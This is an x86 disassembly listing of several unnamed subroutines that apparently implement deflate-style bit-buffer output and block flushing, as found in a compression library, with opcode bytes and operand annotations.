08067a7c   4b                          dec      %ebx
08067a7d   89 d8                       mov      %ebx,%eax
08067a7f   d3 e0                       shl      %cl,%eax
08067a81   66 09 86 b0 16 00 00        or       %ax,0x16b0(%esi)    ;5808 'xb0 x16 x0 x0' ""
08067a88   8b 56 10                    mov      0x10(%esi),%edx
08067a8b   8a 86 b0 16 00 00           mov      0x16b0(%esi),%al    ;5808 'xb0 x16 x0 x0' ""
08067a91   8b 4e 08                    mov      0x8(%esi),%ecx
08067a94   88 04 0a                    mov      %al,(%edx,%ecx,1)
08067a97   8b 4e 10                    mov      0x10(%esi),%ecx
08067a9a   41                          inc      %ecx
08067a9b   66 0f b6 86 b1 16 00 00     movzbw   0x16b1(%esi),%ax    ;5809 'xb1 x16 x0 x0' ""
08067aa3   8b 56 08                    mov      0x8(%esi),%edx
08067aa6   89 4e 10                    mov      %ecx,0x10(%esi)
08067aa9   88 04 11                    mov      %al,(%ecx,%edx,1)
08067aac   8b 86 b4 16 00 00           mov      0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
08067ab2   b9 10 00 00 00              mov      $0x10,%ecx     ;16 'x10 x0 x0 x0' ""
08067ab7   29 c1                       sub      %eax,%ecx
08067ab9   0f b7 db                    movzwl   %bx,%ebx
08067abc   d3 fb                       sar      %cl,%ebx
08067abe   83 e8 0b                    sub      $0xb,%eax
08067ac1   ff 46 10                    incl     0x10(%esi)
08067ac4   66 89 9e b0 16 00 00        mov      %bx,0x16b0(%esi)    ;5808 'xb0 x16 x0 x0' ""
08067acb   eb 13                       jmp      08067ae0 <Unknown0414+0x110>
08067acd   8d 76 00                    lea      0x0(%esi),%esi
08067ad0   8b 45 ec                    mov      0xffffffec(%ebp),%eax
08067ad3   48                          dec      %eax
08067ad4   d3 e0                       shl      %cl,%eax
08067ad6   66 09 86 b0 16 00 00        or       %ax,0x16b0(%esi)    ;5808 'xb0 x16 x0 x0' ""
08067add   8d 41 05                    lea      0x5(%ecx),%eax
08067ae0   89 86 b4 16 00 00           mov      %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
08067ae6   8b 8e b4 16 00 00           mov      0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
08067aec   83 f9 0c                    cmp      $0xc,%ecx
08067aef   7e 57                       jle      08067b48 <Unknown0414+0x178>
08067af1   8b 5d e8                    mov      0xffffffe8(%ebp),%ebx
08067af4   83 eb 04                    sub      $0x4,%ebx
08067af7   89 d8                       mov      %ebx,%eax
08067af9   d3 e0                       shl      %cl,%eax
08067afb   66 09 86 b0 16 00 00        or       %ax,0x16b0(%esi)    ;5808 'xb0 x16 x0 x0' ""
08067b02   8b 56 10                    mov      0x10(%esi),%edx
08067b05   8a 86 b0 16 00 00           mov      0x16b0(%esi),%al    ;5808 'xb0 x16 x0 x0' ""
08067b0b   8b 4e 08                    mov      0x8(%esi),%ecx
08067b0e   88 04 0a                    mov      %al,(%edx,%ecx,1)
08067b11   8b 4e 10                    mov      0x10(%esi),%ecx
08067b14   41                          inc      %ecx
08067b15   66 0f b6 86 b1 16 00 00     movzbw   0x16b1(%esi),%ax    ;5809 'xb1 x16 x0 x0' ""
08067b1d   8b 56 08                    mov      0x8(%esi),%edx
08067b20   89 4e 10                    mov      %ecx,0x10(%esi)
08067b23   88 04 11                    mov      %al,(%ecx,%edx,1)
08067b26   8b 86 b4 16 00 00           mov      0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
08067b2c   b9 10 00 00 00              mov      $0x10,%ecx     ;16 'x10 x0 x0 x0' ""
08067b31   29 c1                       sub      %eax,%ecx
08067b33   0f b7 db                    movzwl   %bx,%ebx
08067b36   d3 fb                       sar      %cl,%ebx
08067b38   83 e8 0c                    sub      $0xc,%eax
08067b3b   ff 46 10                    incl     0x10(%esi)
08067b3e   66 89 9e b0 16 00 00        mov      %bx,0x16b0(%esi)    ;5808 'xb0 x16 x0 x0' ""
08067b45   eb 13                       jmp      08067b5a <Unknown0414+0x18a>
08067b47   90                          nop
08067b48   8b 45 e8                    mov      0xffffffe8(%ebp),%eax
08067b4b   83 e8 04                    sub      $0x4,%eax
08067b4e   d3 e0                       shl      %cl,%eax
08067b50   66 09 86 b0 16 00 00        or       %ax,0x16b0(%esi)    ;5808 'xb0 x16 x0 x0' ""
08067b57   8d 41 04                    lea      0x4(%ecx),%eax
08067b5a   89 86 b4 16 00 00           mov      %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
08067b60   31 ff                       xor      %edi,%edi
08067b62   3b 7d e8                    cmp      0xffffffe8(%ebp),%edi
08067b65   0f 8d a3 00 00 00           jge      08067c0e <Unknown0414+0x23e>   ;163 'xa3 x0 x0 x0' ""
08067b6b   8d 56 02                    lea      0x2(%esi),%edx
08067b6e   89 55 e4                    mov      %edx,0xffffffe4(%ebp)
08067b71   8d 76 00                    lea      0x0(%esi),%esi
08067b74   8b 8e b4 16 00 00           mov      0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
08067b7a   83 f9 0d                    cmp      $0xd,%ecx
08067b7d   7e 61                       jle      08067be0 <Unknown0414+0x210>
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```
08067b7f  0f b6 87 4c 95 07 08  movzbl 0x807954c(%edi),%eax   ;[in .data] 1184016 'x10 x11 x12 x0' ""
08067b86  8b 55 e4              mov    0xffffffe4(%ebp),%edx
08067b89  0f b7 9c 82 70 0a 00 00  movzwl 0xa70(%edx,%eax,4),%ebx  ;2672 'x70 xa x0 x0' "p"
08067b91  89 d8                 mov    %ebx,%eax
08067b93  d3 e0                 shl    %cl,%eax
08067b95  66 09 86 b0 16 00 00  or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067b9c  8b 56 10              mov    0x10(%esi),%edx
08067b9f  8a 86 b0 16 00 00     mov    0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
08067ba5  8b 4e 08              mov    0x8(%esi),%ecx
08067ba8  88 04 0a              mov    %al,(%edx,%ecx,1)
08067bab  8b 4e 10              mov    0x10(%esi),%ecx
08067bae  41                    inc    %ecx
08067baf  66 0f b6 86 b1 16 00 00  movzbw 0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
08067bb7  8b 56 08              mov    0x8(%esi),%edx
08067bba  89 4e 10              mov    %ecx,0x10(%esi)
08067bbd  88 04 11              mov    %al,(%ecx,%edx,1)
08067bc0  8b 86 b4 16 00 00     mov    0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
08067bc6  b9 10 00 00 00        mov    $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
08067bcb  29 c1                 sub    %eax,%ecx
08067bcd  d3 fb                 sar    %cl,%ebx
08067bcf  83 e8 0d              sub    $0xd,%eax
08067bd2  ff 46 10              incl   0x10(%esi)
08067bd5  66 89 9e b0 16 00 00  mov    %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067bdc  eb 20                 jmp    08067bfe <Unknown0414+0x22e>
08067bde  89 f6                 mov    %esi,%esi
08067be0  0f b6 87 4c 95 07 08  movzbl 0x807954c(%edi),%eax   ;[in .data] 1184016 'x10 x11 x12 x0' ""
08067be7  8b 55 e4              mov    0xffffffe4(%ebp),%edx
08067bea  0f b7 84 82 70 0a 00 00  movzwl 0xa70(%edx,%eax,4),%eax  ;2672 'x70 xa x0 x0' "p"
08067bf2  d3 e0                 shl    %cl,%eax
08067bf4  66 09 86 b0 16 00 00  or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067bfb  8d 41 03              lea    0x3(%ecx),%eax
08067bfe  89 86 b4 16 00 00     mov    %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
08067c04  47                    inc    %edi
08067c05  3b 7d e8              cmp    0xffffffe8(%ebp),%edi
08067c08  0f 8c 66 ff ff ff     jl     08067b74 <Unknown0414+0x1a4>   ;-154 'x66 xff xff xff' "f"
08067c0e  51                    push   %ecx
08067c0f  8b 45 f0              mov    0xfffffff0(%ebp),%eax
08067c12  48                    dec    %eax
08067c13  50                    push   %eax
08067c14  8d 86 88 00 00 00     lea    0x88(%esi),%eax   ;136 'x88 x0 x0 x0' ""
08067c1a  50                    push   %eax
08067c1b  56                    push   %esi
08067c1c  e8 e7 f7 ff ff        call   08067408 <Unknown0411>
08067c21  8b 45 ec              mov    0xffffffec(%ebp),%eax
08067c24  48                    dec    %eax
08067c25  89 45 10              mov    %eax,0x10(%ebp)
08067c28  8d 86 7c 09 00 00     lea    0x97c(%esi),%eax   ;2428 'x7c x9 x0 x0' "|"
08067c2e  89 45 0c              mov    %eax,0xc(%ebp)
08067c31  89 75 08              mov    %esi,0x8(%ebp)
08067c34  83 c4 10              add    $0x10,%esp
08067c37  8d 65 f4              lea    0xfffffff4(%ebp),%esp
08067c3a  5b                    pop    %ebx
08067c3b  5e                    pop    %esi
08067c3c  5f                    pop    %edi
08067c3d  5d                    pop    %ebp
08067c3e  e9 c5 f7 ff ff        jmp    08067408 <Unknown0411>   ;-2107 'xc5 xf7 xff xff' ""
08067c43  90                    nop


  ;
  ; >--------------------<  Subroutine # 415 >--------------------<
  ;
08067c44 <Unknown0415>:
08067c44  55                    push   %ebp
08067c45  89 e5                 mov    %esp,%ebp
08067c47  57                    push   %edi
08067c48  56                    push   %esi
08067c49  53                    push   %ebx
08067c4a  83 ec 0c              sub    $0xc,%esp
08067c4d  8b 45 0c              mov    0xc(%ebp),%eax
08067c50  8b 5d 08              mov    0x8(%ebp),%ebx
08067c53  89 45 f0              mov    %eax,0xfffffff0(%ebp)
08067c56  8b 8b b4 16 00 00     mov    0x16b4(%ebx),%ecx   ;5812 'xb4 x16 x0 x0' ""
08067c5c  83 f9 0d              cmp    $0xd,%ecx
08067c5f  8b 7d 10              mov    0x10(%ebp),%edi
08067c62  8b 75 14              mov    0x14(%ebp),%esi
08067c65  7e 51                 jle    08067cb8 <Unknown0415+0x74>
08067c67  89 f0                 mov    %esi,%eax
08067c69  d3 e0                 shl    %cl,%eax
08067c6b  66 09 83 b0 16 00 00  or     %ax,0x16b0(%ebx)   ;5808 'xb0 x16 x0 x0' ""
08067c72  8b 53 10              mov    0x10(%ebx),%edx
08067c75  8a 83 b0 16 00 00     mov    0x16b0(%ebx),%al   ;5808 'xb0 x16 x0 x0' ""
08067c7b  8b 4b 08              mov    0x8(%ebx),%ecx
08067c7e  88 04 0a              mov    %al,(%edx,%ecx,1)
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```
08067c81  8b 4b 10                 mov     0x10(%ebx),%ecx
08067c84  41                       inc     %ecx
08067c85  66 0f b6 83 b1 16 00 00  movzbw  0x16b1(%ebx),%ax   ;5809 'xb1 x16 x0 x0' ""
08067c8d  8b 53 08                 mov     0x8(%ebx),%edx
08067c90  89 4b 10                 mov     %ecx,0x10(%ebx)
08067c93  88 04 11                 mov     %al,(%ecx,%edx,1)
08067c96  8b 83 b4 16 00 00        mov     0x16b4(%ebx),%eax  ;5812 'xb4 x16 x0 x0' ""
08067c9c  b9 10 00 00 00           mov     $0x10,%ecx         ;16 'x10 x0 x0 x0' ""
08067ca1  29 c1                    sub     %eax,%ecx
08067ca3  0f b7 d6                 movzwl  %si,%edx
08067ca6  d3 fa                    sar     %cl,%edx
08067ca8  83 e8 0d                 sub     $0xd,%eax
08067cab  ff 43 10                 incl    0x10(%ebx)
08067cae  66 89 93 b0 16 00 00     mov     %dx,0x16b0(%ebx)   ;5808 'xb0 x16 x0 x0' ""
08067cb5  eb 0d                    jmp     08067cc4 <Unknown0415+0x80>
08067cb7  90                       nop
08067cb8  d3 e6                    shl     %cl,%esi
08067cba  8d 41 03                 lea     0x3(%ecx),%eax
08067cbd  66 09 b3 b0 16 00 00     or      %si,0x16b0(%ebx)   ;5808 'xb0 x16 x0 x0' ""
08067cc4  89 83 b4 16 00 00        mov     %eax,0x16b4(%ebx)  ;5812 'xb4 x16 x0 x0' ""
08067cca  8b 83 a4 16 00 00        mov     0x16a4(%ebx),%eax  ;5796 'xa4 x16 x0 x0' ""
08067cd0  83 c0 0a                 add     $0xa,%eax
08067cd3  83 e0 f8                 and     $0xfffffff8,%eax
08067cd6  8d 44 f8 20              lea     0x20(%eax,%edi,8),%eax
08067cda  89 83 a4 16 00 00        mov     %eax,0x16a4(%ebx)  ;5796 'xa4 x16 x0 x0' ""
08067ce0  8b 45 f0                 mov     0xfffffff0(%ebp),%eax
08067ce3  c7 45 14 01 00 00 00     movl    $0x1,0x14(%ebp)    ;1 'x1 x0 x0 x0' ""
08067cea  89 7d 10                 mov     %edi,0x10(%ebp)
08067ced  89 45 0c                 mov     %eax,0xc(%ebp)
08067cf0  89 5d 08                 mov     %ebx,0x8(%ebp)
08067cf3  83 c4 0c                 add     $0xc,%esp
08067cf6  5b                       pop     %ebx
08067cf7  5e                       pop     %esi
08067cf8  5f                       pop     %edi
08067cf9  5d                       pop     %ebp
08067cfa  e9 35 0b 00 00           jmp     08068834 <Unknown0424>  ;2869 'x35 xb x0 x0' "5"
08067cff  90                       nop


  ;
  ; >--------------------<  Subroutine # 416 >----------------------<
  ;
08067d00 <Unknown0416>:
08067d00  55                       push    %ebp
08067d01  89 e5                    mov     %esp,%ebp
08067d03  57                       push    %edi
08067d04  56                       push    %esi
08067d05  53                       push    %ebx
08067d06  83 ec 0c                 sub     $0xc,%esp
08067d09  8b 75 08                 mov     0x8(%ebp),%esi
08067d0c  8b 8e b4 16 00 00        mov     0x16b4(%esi),%ecx  ;5812 'xb4 x16 x0 x0' ""
08067d12  83 f9 0d                 cmp     $0xd,%ecx
08067d15  7e 55                    jle     08067d6c <Unknown0416+0x6c>
08067d17  bb 02 00 00 00           mov     $0x2,%ebx  ;2 'x2 x0 x0 x0' ""
08067d1c  89 d8                    mov     %ebx,%eax
08067d1e  d3 e0                    shl     %cl,%eax
08067d20  66 09 86 b0 16 00 00     or      %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067d27  8b 56 10                 mov     0x10(%esi),%edx
08067d2a  8a 86 b0 16 00 00        mov     0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
08067d30  8b 4e 08                 mov     0x8(%esi),%ecx
08067d33  88 04 0a                 mov     %al,(%edx,%ecx,1)
08067d36  8b 4e 10                 mov     0x10(%esi),%ecx
08067d39  41                       inc     %ecx
08067d3a  66 0f b6 86 b1 16 00 00  movzbw  0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
08067d42  8b 56 08                 mov     0x8(%esi),%edx
08067d45  89 4e 10                 mov     %ecx,0x10(%esi)
08067d48  88 04 11                 mov     %al,(%ecx,%edx,1)
08067d4b  8b 86 b4 16 00 00        mov     0x16b4(%esi),%eax  ;5812 'xb4 x16 x0 x0' ""
08067d51  b9 10 00 00 00           mov     $0x10,%ecx  ;16 'x10 x0 x0 x0' ""
08067d56  29 c1                    sub     %eax,%ecx
08067d58  d3 fb                    sar     %cl,%ebx
08067d5a  83 e8 0d                 sub     $0xd,%eax
08067d5d  ff 46 10                 incl    0x10(%esi)
08067d60  66 89 9e b0 16 00 00     mov     %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067d67  eb 14                    jmp     08067d7d <Unknown0416+0x7d>
08067d69  8d 76 00                 lea     0x0(%esi),%esi
08067d6c  b8 02 00 00 00           mov     $0x2,%eax  ;2 'x2 x0 x0 x0' ""
08067d71  d3 e0                    shl     %cl,%eax
08067d73  66 09 86 b0 16 00 00     or      %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067d7a  8d 41 03                 lea     0x3(%ecx),%eax
08067d7d  89 86 b4 16 00 00        mov     %eax,0x16b4(%esi)  ;5812 'xb4 x16 x0 x0' ""
08067d83  0f b7 3d a2 c5 07 08     movzwl  0x807c5a2,%edi  ;[in .bss] 1778739792 'x50 x6a x5 x6a' "Pj"
08067d8a  b8 10 00 00 00           mov     $0x10,%eax  ;16 'x10 x0 x0 x0' ""
08067d8f  29 f8                    sub     %edi,%eax
```

```
08067d91  8b 8e b4 16 00 00   mov    0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
08067d97  39 c1               cmp    %eax,%ecx
08067d99  7e 55               jle    08067df0 <Unknown0416+0xf0>
08067d9b  0f b7 1d a0 c5 07 08 movzwl 0x807c5a0,%ebx   ;[in .bss] 1783690309 'x45 xf4 x50 x6a' "E"
08067da2  89 d8               mov    %ebx,%eax
08067da4  d3 e0               shl    %cl,%eax
08067da6  66 09 86 b0 16 00 00 or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067dad  8b 56 10            mov    0x10(%esi),%edx
08067db0  8a 86 b0 16 00 00    mov    0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
08067db6  8b 4e 08            mov    0x8(%esi),%ecx
08067db9  88 04 0a            mov    %al,(%edx,%ecx,1)
08067dbc  8b 4e 10            mov    0x10(%esi),%ecx
08067dbf  41                  inc    %ecx
08067dc0  66 0f b6 86 b1 16 00 00 movzbw 0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
08067dc8  8b 56 08            mov    0x8(%esi),%edx
08067dcb  89 4e 10            mov    %ecx,0x10(%esi)
08067dce  88 04 11            mov    %al,(%ecx,%edx,1)
08067dd1  8b 86 b4 16 00 00    mov    0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
08067dd7  b9 10 00 00 00       mov    $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
08067ddc  29 c1               sub    %eax,%ecx
08067dde  d3 fb               sar    %cl,%ebx
08067de0  8d 44 07 f0         lea    0xfffffff0(%edi,%eax,1),%eax
08067de4  ff 46 10            incl   0x10(%esi)
08067de7  66 89 9e b0 16 00 00 mov    %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067dee  eb 13               jmp    08067e03 <Unknown0416+0x103>
08067df0  0f b7 05 a0 c5 07 08 movzwl 0x807c5a0,%eax   ;[in .bss] 1783690309 'x45 xf4 x50 x6a' "E"
08067df7  d3 e0               shl    %cl,%eax
08067df9  66 09 86 b0 16 00 00 or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067e00  8d 04 0f            lea    (%edi,%ecx,1),%eax
08067e03  89 86 b4 16 00 00    mov    %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
08067e09  83 ec 0c            sub    $0xc,%esp
08067e0c  83 86 a4 16 00 00 0a addl   $0xa,0x16a4(%esi)   ;5796 'xa4 x16 x0 x0' ""
08067e13  56                  push   %esi
08067e14  e8 2f 09 00 00       call   08068748 <Unknown0422>
08067e19  8b 86 ac 16 00 00    mov    0x16ac(%esi),%eax   ;5804 'xac x16 x0 x0' ""
08067e1f  8b 8e b4 16 00 00    mov    0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
08067e25  29 c8               sub    %ecx,%eax
08067e27  83 c0 0b            add    $0xb,%eax
08067e2a  83 c4 10            add    $0x10,%esp
08067e2d  83 f8 08            cmp    $0x8,%eax
08067e30  0f 8f 0a 01 00 00    jg     08067f40 <Unknown0416+0x240>   ;266 'xa x1 x0 x0' ""
08067e36  83 f9 0d            cmp    $0xd,%ecx
08067e39  7e 55               jle    08067e90 <Unknown0416+0x190>
08067e3b  bb 02 00 00 00       mov    $0x2,%ebx   ;2 'x2 x0 x0 x0' ""
08067e40  89 d8               mov    %ebx,%eax
08067e42  d3 e0               shl    %cl,%eax
08067e44  66 09 86 b0 16 00 00 or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067e4b  8b 56 10            mov    0x10(%esi),%edx
08067e4e  8a 86 b0 16 00 00    mov    0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
08067e54  8b 4e 08            mov    0x8(%esi),%ecx
08067e57  88 04 0a            mov    %al,(%edx,%ecx,1)
08067e5a  8b 4e 10            mov    0x10(%esi),%ecx
08067e5d  41                  inc    %ecx
08067e5e  66 0f b6 86 b1 16 00 00 movzbw 0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
08067e66  8b 56 08            mov    0x8(%esi),%edx
08067e69  89 4e 10            mov    %ecx,0x10(%esi)
08067e6c  88 04 11            mov    %al,(%ecx,%edx,1)
08067e6f  8b 86 b4 16 00 00    mov    0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
08067e75  b9 10 00 00 00       mov    $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
08067e7a  29 c1               sub    %eax,%ecx
08067e7c  d3 fb               sar    %cl,%ebx
08067e7e  83 e8 0d            sub    $0xd,%eax
08067e81  ff 46 10            incl   0x10(%esi)
08067e84  66 89 9e b0 16 00 00 mov    %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067e8b  eb 14               jmp    08067ea1 <Unknown0416+0x1a1>
08067e8d  8d 76 00            lea    0x0(%esi),%esi
08067e90  b8 02 00 00 00       mov    $0x2,%eax   ;2 'x2 x0 x0 x0' ""
08067e95  d3 e0               shl    %cl,%eax
08067e97  66 09 86 b0 16 00 00 or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067e9e  8d 41 03            lea    0x3(%ecx),%eax
08067ea1  89 86 b4 16 00 00    mov    %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
08067ea7  0f b7 3d a2 c5 07 08 movzwl 0x807c5a2,%edi   ;[in .bss] 1778739792 'x50 x6a x5 x6a' "Pj"
08067eae  b8 10 00 00 00       mov    $0x10,%eax   ;16 'x10 x0 x0 x0' ""
08067eb3  29 f8               sub    %edi,%eax
08067eb5  8b 8e b4 16 00 00    mov    0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
08067ebb  39 c1               cmp    %eax,%ecx
08067ebd  7e 55               jle    08067f14 <Unknown0416+0x214>
08067ebf  0f b7 1d a0 c5 07 08 movzwl 0x807c5a0,%ebx   ;[in .bss] 1783690309 'x45 xf4 x50 x6a' "E"
08067ec6  89 d8               mov    %ebx,%eax
08067ec8  d3 e0               shl    %cl,%eax
08067eca  66 09 86 b0 16 00 00 or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067ed1  8b 56 10            mov    0x10(%esi),%edx
08067ed4  8a 86 b0 16 00 00    mov    0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
08067eda  8b 4e 08            mov    0x8(%esi),%ecx
```

```
08067edd  88 04 0a               mov    %al,(%edx,%ecx,1)
08067ee0  8b 4e 10               mov    0x10(%esi),%ecx
08067ee3  41                     inc    %ecx
08067ee4  66 0f b6 86 b1 16 00 00 movzbw 0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
08067eec  8b 56 08               mov    0x8(%esi),%edx
08067eef  89 4e 10               mov    %ecx,0x10(%esi)
08067ef2  88 04 11               mov    %al,(%ecx,%edx,1)
08067ef5  8b 86 b4 16 00 00      mov    0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
08067efb  b9 10 00 00 00         mov    $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
08067f00  29 c1                  sub    %eax,%ecx
08067f02  d3 fb                  sar    %cl,%ebx
08067f04  8d 44 07 f0            lea    0xfffffff0(%edi,%eax,1),%eax
08067f08  ff 46 10               incl   0x10(%esi)
08067f0b  66 89 9e b0 16 00 00   mov    %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067f12  eb 13                  jmp    08067f27 <Unknown0416+0x227>
08067f14  0f b7 05 a0 c5 07 08   movzwl 0x807c5a0,%eax   ;[in .bss] 1783690309 'x45 xf4 x50 x6a' "E"
08067f1b  d3 e0                  shl    %cl,%eax
08067f1d  66 09 86 b0 16 00 00   or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08067f24  8d 04 0f               lea    (%edi,%ecx,1),%eax
08067f27  89 86 b4 16 00 00      mov    %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
08067f2d  83 ec 0c               sub    $0xc,%esp
08067f30  83 86 a4 16 00 00 0a   addl   $0xa,0x16a4(%esi)   ;5796 'xa4 x16 x0 x0' ""
08067f37  56                     push   %esi
08067f38  e8 0b 08 00 00         call   08068748 <Unknown0422>
08067f3d  83 c4 10               add    $0x10,%esp
08067f40  c7 86 ac 16 00 00 07 00 00 00  movl  $0x7,0x16ac(%esi)   ;7 'x7 x0 x0 x0' ""
08067f4a  8d 65 f4               lea    0xfffffff4(%ebp),%esp
08067f4d  5b                     pop    %ebx
08067f4e  5e                     pop    %esi
08067f4f  5f                     pop    %edi
08067f50  5d                     pop    %ebp
08067f51  c3                     ret
08067f52  89 f6                  mov    %esi,%esi


   ;
   ; >----------------------<  Subroutine # 417 >----------------------<
   ;
08067f54 <Unknown0417>:
08067f54  55                     push   %ebp
08067f55  89 e5                  mov    %esp,%ebp
08067f57  57                     push   %edi
08067f58  56                     push   %esi
08067f59  53                     push   %ebx
08067f5a  83 ec 0c               sub    $0xc,%esp
08067f5d  8b 75 08               mov    0x8(%ebp),%esi
08067f60  c7 45 f0 00 00 00 00   movl   $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
08067f67  8b 5d 10               mov    0x10(%ebp),%ebx
08067f6a  8b 46 78               mov    0x78(%esi),%eax
08067f6d  8d 53 05               lea    0x5(%ebx),%edx
08067f70  85 c0                  test   %eax,%eax
08067f72  8b 7d 14               mov    0x14(%ebp),%edi
08067f75  89 d1                  mov    %edx,%ecx
08067f77  7e 5d                  jle    08067fd6 <Unknown0417+0x82>
08067f79  80 7e 18 02            cmpb   $0x2,0x18(%esi)
08067f7d  75 0c                  jne    08067f8b <Unknown0417+0x37>
08067f7f  83 ec 0c               sub    $0xc,%esp
08067f82  56                     push   %esi
08067f83  e8 28 07 00 00         call   080686b0 <Unknown0420>
08067f88  83 c4 10               add    $0x10,%esp
08067f8b  83 ec 08               sub    $0x8,%esp
08067f8e  8d 86 0c 0b 00 00      lea    0xb0c(%esi),%eax   ;2828 'xc xb x0 x0' ""
08067f94  50                     push   %eax
08067f95  56                     push   %esi
08067f96  e8 11 f1 ff ff         call   080670ac <Unknown0404>
08067f9b  5a                     pop    %edx
08067f9c  59                     pop    %ecx
08067f9d  8d 86 18 0b 00 00      lea    0xb18(%esi),%eax   ;2840 'x18 xb x0 x0' ""
08067fa3  50                     push   %eax
08067fa4  56                     push   %esi
08067fa5  e8 02 f1 ff ff         call   080670ac <Unknown0404>
08067faa  89 34 24               mov    %esi,(%esp,1)
08067fad  e8 8a f9 ff ff         call   0806793c <Unknown0413>
08067fb2  89 45 f0               mov    %eax,0xfffffff0(%ebp)
08067fb5  8b 8e 9c 16 00 00      mov    0x169c(%esi),%ecx   ;5788 'x9c x16 x0 x0' ""
08067fbb  8b 96 a0 16 00 00      mov    0x16a0(%esi),%edx   ;5792 'xa0 x16 x0 x0' ""
08067fc1  83 c1 0a               add    $0xa,%ecx
08067fc4  83 c2 0a               add    $0xa,%edx
08067fc7  c1 e9 03               shr    $0x3,%ecx
08067fca  c1 ea 03               shr    $0x3,%edx
08067fcd  83 c4 10               add    $0x10,%esp
08067fd0  39 ca                  cmp    %ecx,%edx
08067fd2  77 02                  ja     08067fd6 <Unknown0417+0x82>
08067fd4  89 d1                  mov    %edx,%ecx
```

```
08067fd6  8d 43 04              lea      0x4(%ebx),%eax
08067fd9  39 c8                 cmp      %ecx,%eax
08067fdb  77 17                 ja       08067ff4 <Unknown0417+0xa0>
08067fdd  8b 45 0c              mov      0xc(%ebp),%eax
08067fe0  85 c0                 test     %eax,%eax
08067fe2  74 10                 je       08067ff4 <Unknown0417+0xa0>
08067fe4  57                    push     %edi
08067fe5  53                    push     %ebx
08067fe6  ff 75 0c              pushl    0xc(%ebp)
08067fe9  56                    push     %esi
08067fea  e8 55 fc ff ff        call     08067c44 <Unknown0415>
08067fef  e9 58 01 00 00        jmp      0806814c <Unknown0417+0x1f8>  ;344 'x58 x1 x0 x0' "X"
08067ff4  39 ca                 cmp      %ecx,%edx
08067ff6  0f 85 94 00 00 00     jne      08068090 <Unknown0417+0x13c>  ;148 'x94 x0 x0 x0' ""
08067ffc  8b 8e b4 16 00 00     mov      0x16b4(%esi),%ecx  ;5812 'xb4 x16 x0 x0' ""
08068002  83 f9 0d              cmp      $0xd,%ecx
08068005  7e 55                 jle      0806805c <Unknown0417+0x108>
08068007  8d 5f 02              lea      0x2(%edi),%ebx
0806800a  89 d8                 mov      %ebx,%eax
0806800c  d3 e0                 shl      %cl,%eax
0806800e  66 09 86 b0 16 00 00  or       %ax,0x16b0(%esi)  ;5808 'xb0 x16 x0 x0' ""
08068015  8b 56 10              mov      0x10(%esi),%edx
08068018  8a 86 b0 16 00 00     mov      0x16b0(%esi),%al  ;5808 'xb0 x16 x0 x0' ""
0806801e  8b 4e 08              mov      0x8(%esi),%ecx
08068021  88 04 0a              mov      %al,(%edx,%ecx,1)
08068024  8b 4e 10              mov      0x10(%esi),%ecx
08068027  41                    inc      %ecx
08068028  66 0f b6 86 b1 16 00 00  movzbw 0x16b1(%esi),%ax  ;5809 'xb1 x16 x0 x0' ""
08068030  8b 56 08              mov      0x8(%esi),%edx
08068033  89 4e 10              mov      %ecx,0x10(%esi)
08068036  88 04 11              mov      %al,(%ecx,%edx,1)
08068039  8b 86 b4 16 00 00     mov      0x16b4(%esi),%eax  ;5812 'xb4 x16 x0 x0' ""
0806803f  b9 10 00 00 00        mov      $0x10,%ecx  ;16 'x10 x0 x0 x0' ""
08068044  29 c1                 sub      %eax,%ecx
08068046  0f b7 db              movzwl   %bx,%ebx
08068049  d3 fb                 sar      %cl,%ebx
0806804b  83 e8 0d              sub      $0xd,%eax
